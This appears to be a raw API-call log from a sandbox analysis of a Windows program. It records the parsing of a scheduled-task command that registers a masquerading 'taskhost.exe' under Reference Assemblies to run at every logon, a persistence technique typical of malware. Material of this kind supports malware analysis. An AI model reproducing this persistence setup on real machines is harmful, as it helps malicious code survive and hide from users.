SetLastError (dwErrCode=0x0) [0142.898] SetLastError (dwErrCode=0x0) [0142.898] lstrlenW (lpString="taskhost") returned 8 [0142.898] lstrlenW (lpString="-/") returned 2 [0142.898] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0142.898] SetLastError (dwErrCode=0x490) [0142.898] SetLastError (dwErrCode=0x490) [0142.898] SetLastError (dwErrCode=0x0) [0142.898] lstrlenW (lpString="taskhost") returned 8 [0142.898] StrChrIW (lpStart="taskhost", wMatch=0x3a) returned 0x0 [0142.898] SetLastError (dwErrCode=0x490) [0142.898] SetLastError (dwErrCode=0x0) [0142.898] lstrlenW (lpString="taskhost") returned 8 [0142.898] SetLastError (dwErrCode=0x0) [0142.898] SetLastError (dwErrCode=0x0) [0142.898] lstrlenW (lpString="/sc") returned 3 [0142.898] lstrlenW (lpString="-/") returned 2 [0142.898] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.898] lstrlenW (lpString="create") returned 6 [0142.898] lstrlenW (lpString="create") returned 6 [0142.898] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.898] lstrlenW (lpString="sc") returned 2 [0142.898] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.898] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.898] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.898] lstrlenW (lpString="|create|") returned 8 [0142.899] lstrlenW (lpString="|sc|") returned 4 [0142.899] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0142.899] SetLastError (dwErrCode=0x490) [0142.899] lstrlenW (lpString="?") returned 1 [0142.899] lstrlenW (lpString="?") returned 1 [0142.899] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.899] lstrlenW (lpString="sc") returned 2 [0142.899] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.899] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|?|") returned 3 [0142.899] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.899] lstrlenW (lpString="|?|") returned 3 [0142.899] lstrlenW (lpString="|sc|") returned 4 [0142.899] SetLastError (dwErrCode=0x490) [0142.899] lstrlenW (lpString="s") returned 1 [0142.899] lstrlenW (lpString="s") returned 1 [0142.899] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.899] lstrlenW (lpString="sc") returned 2 [0142.899] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.899] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|s|") returned 3 [0142.899] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.899] lstrlenW (lpString="|s|") returned 3 [0142.899] lstrlenW (lpString="|sc|") returned 4 [0142.899] SetLastError (dwErrCode=0x490) [0142.899] lstrlenW (lpString="u") returned 1 [0142.899] lstrlenW (lpString="u") returned 1 [0142.899] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.899] lstrlenW (lpString="sc") returned 2 [0142.900] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.900] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|u|") returned 3 [0142.900] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.900] lstrlenW (lpString="|u|") returned 3 [0142.900] lstrlenW (lpString="|sc|") returned 4 [0142.900] SetLastError (dwErrCode=0x490) [0142.900] lstrlenW (lpString="p") returned 1 [0142.900] lstrlenW (lpString="p") returned 1 [0142.900] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.900] lstrlenW (lpString="sc") returned 2 [0142.900] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.900] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|p|") returned 3 [0142.900] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.900] lstrlenW (lpString="|p|") returned 3 [0142.900] lstrlenW (lpString="|sc|") returned 4 [0142.900] SetLastError (dwErrCode=0x490) [0142.900] lstrlenW (lpString="ru") returned 2 [0142.900] lstrlenW (lpString="ru") returned 2 [0142.900] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.900] lstrlenW (lpString="sc") returned 2 [0142.900] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.900] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ru|") returned 4 [0142.900] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.900] lstrlenW (lpString="|ru|") returned 4 [0142.900] lstrlenW (lpString="|sc|") returned 4 [0142.901] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0142.901] SetLastError (dwErrCode=0x490) [0142.901] lstrlenW (lpString="rp") returned 2 [0142.901] lstrlenW (lpString="rp") returned 2 [0142.901] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.901] lstrlenW (lpString="sc") returned 2 [0142.901] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.901] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rp|") returned 4 [0142.901] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.901] lstrlenW (lpString="|rp|") returned 4 [0142.901] lstrlenW (lpString="|sc|") returned 4 [0142.901] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0142.901] SetLastError (dwErrCode=0x490) [0142.901] lstrlenW (lpString="sc") returned 2 [0142.901] lstrlenW (lpString="sc") returned 2 [0142.901] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.901] lstrlenW (lpString="sc") returned 2 [0142.901] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.901] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.901] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.901] lstrlenW (lpString="|sc|") returned 4 [0142.901] lstrlenW (lpString="|sc|") returned 4 [0142.901] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0142.901] SetLastError (dwErrCode=0x0) [0142.901] SetLastError (dwErrCode=0x0) [0142.901] lstrlenW (lpString="ONLOGON") returned 7 [0142.901] lstrlenW (lpString="-/") returned 2 [0142.901] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0142.901] SetLastError (dwErrCode=0x490) [0142.901] SetLastError (dwErrCode=0x490) [0142.901] SetLastError (dwErrCode=0x0) [0142.901] lstrlenW (lpString="ONLOGON") returned 7 [0142.902] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0142.902] SetLastError (dwErrCode=0x490) [0142.902] SetLastError (dwErrCode=0x0) [0142.902] GetProcessHeap () returned 0x2f0000 [0142.902] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d4e0 [0142.902] _memicmp (_Buf1=0x30d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.902] lstrlenW (lpString="ONLOGON") returned 7 [0142.902] GetProcessHeap () returned 0x2f0000 [0142.902] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d5a0 [0142.902] lstrlenW (lpString="ONLOGON") returned 7 [0142.902] lstrlenW (lpString=" \x09") returned 2 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0142.902] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0142.902] GetLastError () returned 0x0 [0142.902] lstrlenW (lpString="ONLOGON") returned 7 [0142.902] lstrlenW (lpString="ONLOGON") returned 7 [0142.902] SetLastError (dwErrCode=0x0) [0142.902] SetLastError (dwErrCode=0x0) [0142.902] lstrlenW (lpString="/tr") returned 3 [0142.902] lstrlenW (lpString="-/") returned 2 [0142.902] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.902] lstrlenW (lpString="create") returned 6 [0142.902] lstrlenW (lpString="create") returned 6 [0142.902] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.902] lstrlenW (lpString="tr") returned 2 [0142.902] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.902] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.902] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.903] lstrlenW (lpString="|create|") returned 8 [0142.903] lstrlenW (lpString="|tr|") returned 4 [0142.903] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0142.903] SetLastError (dwErrCode=0x490) [0142.903] lstrlenW (lpString="?") returned 1 [0142.903] lstrlenW (lpString="?") returned 1 [0142.903] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] lstrlenW (lpString="tr") returned 2 [0142.903] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|?|") returned 3 [0142.903] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.903] lstrlenW (lpString="|?|") returned 3 [0142.903] lstrlenW (lpString="|tr|") returned 4 [0142.903] SetLastError (dwErrCode=0x490) [0142.903] lstrlenW (lpString="s") returned 1 [0142.903] lstrlenW (lpString="s") returned 1 [0142.903] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] lstrlenW (lpString="tr") returned 2 [0142.903] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|s|") returned 3 [0142.903] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.903] lstrlenW (lpString="|s|") returned 3 [0142.903] lstrlenW (lpString="|tr|") returned 4 [0142.903] SetLastError (dwErrCode=0x490) [0142.903] lstrlenW (lpString="u") returned 1 [0142.903] lstrlenW (lpString="u") returned 1 [0142.903] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] lstrlenW (lpString="tr") returned 2 [0142.903] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.903] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|u|") returned 3 [0142.903] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.903] lstrlenW (lpString="|u|") returned 3 [0142.903] lstrlenW (lpString="|tr|") returned 4 [0142.903] SetLastError (dwErrCode=0x490) [0142.904] lstrlenW (lpString="p") returned 1 [0142.904] lstrlenW (lpString="p") returned 1 [0142.904] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.904] lstrlenW (lpString="tr") returned 2 [0142.904] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.904] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|p|") returned 3 [0142.904] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.904] lstrlenW (lpString="|p|") returned 3 [0142.904] lstrlenW (lpString="|tr|") returned 4 [0142.904] SetLastError (dwErrCode=0x490) [0142.904] lstrlenW (lpString="ru") returned 2 [0142.904] lstrlenW (lpString="ru") returned 2 [0142.904] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.904] lstrlenW (lpString="tr") returned 2 [0142.904] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.904] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ru|") returned 4 [0142.904] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.904] lstrlenW (lpString="|ru|") returned 4 [0142.904] lstrlenW (lpString="|tr|") returned 4 [0142.904] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0142.904] SetLastError (dwErrCode=0x490) [0142.904] lstrlenW (lpString="rp") returned 2 [0142.904] lstrlenW (lpString="rp") returned 2 [0142.904] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] lstrlenW (lpString="tr") returned 2 [0142.905] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rp|") returned 4 [0142.905] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.905] lstrlenW (lpString="|rp|") returned 4 [0142.905] lstrlenW (lpString="|tr|") returned 4 [0142.905] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0142.905] SetLastError (dwErrCode=0x490) [0142.905] lstrlenW (lpString="sc") returned 2 [0142.905] lstrlenW (lpString="sc") returned 2 [0142.905] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] lstrlenW (lpString="tr") returned 2 [0142.905] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.905] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.905] lstrlenW (lpString="|sc|") returned 4 [0142.905] lstrlenW (lpString="|tr|") returned 4 [0142.905] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0142.905] SetLastError (dwErrCode=0x490) [0142.905] lstrlenW (lpString="mo") returned 2 [0142.905] lstrlenW (lpString="mo") returned 2 [0142.905] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] lstrlenW (lpString="tr") returned 2 [0142.905] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.905] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|mo|") returned 4 [0142.905] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.905] lstrlenW (lpString="|mo|") returned 4 [0142.905] lstrlenW (lpString="|tr|") returned 4 [0142.905] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0142.906] SetLastError (dwErrCode=0x490) [0142.906] lstrlenW (lpString="d") returned 1 [0142.906] lstrlenW (lpString="d") returned 1 [0142.906] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] lstrlenW (lpString="tr") returned 2 [0142.906] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|d|") returned 3 [0142.906] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.906] lstrlenW (lpString="|d|") returned 3 [0142.906] lstrlenW (lpString="|tr|") returned 4 [0142.906] SetLastError (dwErrCode=0x490) [0142.906] lstrlenW (lpString="m") returned 1 [0142.906] lstrlenW (lpString="m") returned 1 [0142.906] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] lstrlenW (lpString="tr") returned 2 [0142.906] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|m|") returned 3 [0142.906] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.906] lstrlenW (lpString="|m|") returned 3 [0142.906] lstrlenW (lpString="|tr|") returned 4 [0142.906] SetLastError (dwErrCode=0x490) [0142.906] lstrlenW (lpString="i") returned 1 [0142.906] lstrlenW (lpString="i") returned 1 [0142.906] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] lstrlenW (lpString="tr") returned 2 [0142.906] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.906] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|i|") returned 3 [0142.906] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.906] lstrlenW (lpString="|i|") returned 3 [0142.906] lstrlenW (lpString="|tr|") returned 4 [0142.906] SetLastError (dwErrCode=0x490) [0142.906] lstrlenW (lpString="tn") returned 2 [0142.906] lstrlenW (lpString="tn") returned 2 [0142.907] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.907] lstrlenW (lpString="tr") returned 2 [0142.907] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.907] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.907] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.907] lstrlenW (lpString="|tn|") returned 4 [0142.907] lstrlenW (lpString="|tr|") returned 4 [0142.907] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0142.907] SetLastError (dwErrCode=0x490) [0142.907] lstrlenW (lpString="tr") returned 2 [0142.907] lstrlenW (lpString="tr") returned 2 [0142.907] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.907] lstrlenW (lpString="tr") returned 2 [0142.907] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.907] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.907] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.907] lstrlenW (lpString="|tr|") returned 4 [0142.907] lstrlenW (lpString="|tr|") returned 4 [0142.907] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0142.907] SetLastError (dwErrCode=0x0) [0142.907] SetLastError (dwErrCode=0x0) [0142.907] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.907] lstrlenW (lpString="-/") returned 2 [0142.907] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.909] SetLastError (dwErrCode=0x490) [0142.909] SetLastError (dwErrCode=0x490) [0142.909] SetLastError (dwErrCode=0x0) [0142.909] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.909] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0142.909] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.909] _memicmp (_Buf1=0x30d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.909] _memicmp (_Buf1=0x30d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.909] SetLastError (dwErrCode=0x7a) [0142.909] SetLastError (dwErrCode=0x0) [0142.909] SetLastError (dwErrCode=0x0) [0142.909] lstrlenW (lpString="'C") returned 2 [0142.909] lstrlenW (lpString="-/") returned 2 [0142.909] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.909] SetLastError (dwErrCode=0x490) [0142.909] SetLastError (dwErrCode=0x490) [0142.909] SetLastError (dwErrCode=0x0) [0142.909] _memicmp (_Buf1=0x30d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.909] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.909] GetProcessHeap () returned 0x2f0000 [0142.909] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0) returned 1 [0142.909] GetProcessHeap () returned 0x2f0000 [0142.909] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30d5a0, Size=0x6a) returned 0x30c270 [0142.909] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.910] lstrlenW (lpString=" \x09") returned 2 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0142.910] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0142.910] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0142.910] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.911] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.911] GetLastError () returned 0x0 [0142.911] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.911] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.911] SetLastError (dwErrCode=0x0) [0142.911] SetLastError (dwErrCode=0x0) [0142.911] lstrlenW (lpString="/rl") returned 3 [0142.911] lstrlenW (lpString="-/") returned 2 [0142.911] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.911] lstrlenW (lpString="create") returned 6 [0142.911] lstrlenW (lpString="create") returned 6 [0142.911] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.911] lstrlenW (lpString="rl") returned 2 [0142.911] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.911] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.911] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.911] lstrlenW (lpString="|create|") returned 8 [0142.912] lstrlenW (lpString="|rl|") returned 4 [0142.912] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 